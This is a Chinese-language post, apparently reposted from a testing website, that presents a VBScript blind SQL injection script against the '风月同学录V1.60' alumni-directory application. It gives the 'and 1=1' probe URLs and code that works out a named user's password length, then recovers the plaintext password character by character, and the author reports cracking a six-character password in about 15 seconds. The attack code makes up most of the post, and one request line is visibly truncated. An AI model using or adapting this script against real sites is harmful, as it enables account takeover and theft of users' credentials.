非常古老且经典的一个,呵呵,试了下:
http://192.168.101.16/txl/ShowThrea...D=7%20and%201=1
http://192.168.101.16/txl/ShowThrea...D=7%20and%201=2
数据表结构我都知道,用户名也都可以在用户列表看出来,那么这个例子就演示一下猜解密码,什么?太简单了?只是个例子嘛,别笑哦~~写的时候也不是一帆风顺~~写的很差,尤其循环里如果探测到正确的就应该退出循环,但是想不起来怎么退出了(break?exit?),不过对于这个密码明文存放的程序来说已经够了,一个6位的密码用了15秒左右猜出,改进下会提高不少,但效率上始终和perl不能比了。
要使用这个对象要装Microsoft ACT是Visual Studio.Net里一个工具,我在另一台机器上直接用regsrv32注册相关的dll失败了,所以还是要装一下。
'*********************************************
'风月同学录V1.60漏洞测试脚本 by luoluo
'注意:需要装Visual Studio.Net里的ACT工具
'*********************************************
Option Explicit
On Error Resume Next
Dim Test
Dim o_Response
Dim Wrong
Dim i,j,k
Dim pwd_len
Dim pwd
Dim strings
Dim username
'从命令行得到要破解的人的用户名
If WScript.Arguments.Count > 0 Then
username = WScript.Arguments(0)
Else
username = "luoluo"
End If
WScript.Echo "开始探测,请等待... ..."
'正确页面的标志,这个随便找的,因为只要是两个页面返回的不同部分就可以了
Wrong = "luoluoisachinesehacker"
'存放密码
pwd = ""
'密码的字符范围
strings = "0123456789abcdefghijklmnopqrstuvwxyz"
'建立对象
Set Test = CreateObject("ACT.Test")
'得到用户的密码的长度
For i = 0 to 128 step 1
'发送请求,返回一个Response对象,地址长可以用&分成段,那样好看一些
Set o_Response = Test.SendRequest(" & i & "'%20and%20userid='" & username & "')")
'如果返回的页面里有正确标志那么长度就对了
If instr(o_Response.Body, Wrong) <> 0 Then
pwd_len = "" & i & ""
End If
Next
'猜解用户的密码
For j = 1 to pwd_len step 1
For k = 1 to len(strings) step 1
Set o_Response = Test.SendRequest("http://192.168.101.16/txl/ShowThread.asp?RootID=7%20and%20exists%20(select%20userid%20from%20student%20where%20left(userpwd," & j & ")='" & pwd & mid(strings,k,1) & "'%20and%20userid='" & username & "')")
If instr(o_Response.Body, Wrong) <> 0 Then
pwd = pwd & mid(strings,k,1)
End If
Next
Next
If err Then
WScript.Echo "错误:" & Error.Description
Error.Clear
Else
'输出密码
WScript.Echo "密码:" & pwd
End If
Set Test = nothing
文章来源于领测软件测试网 https://www.ltesting.net/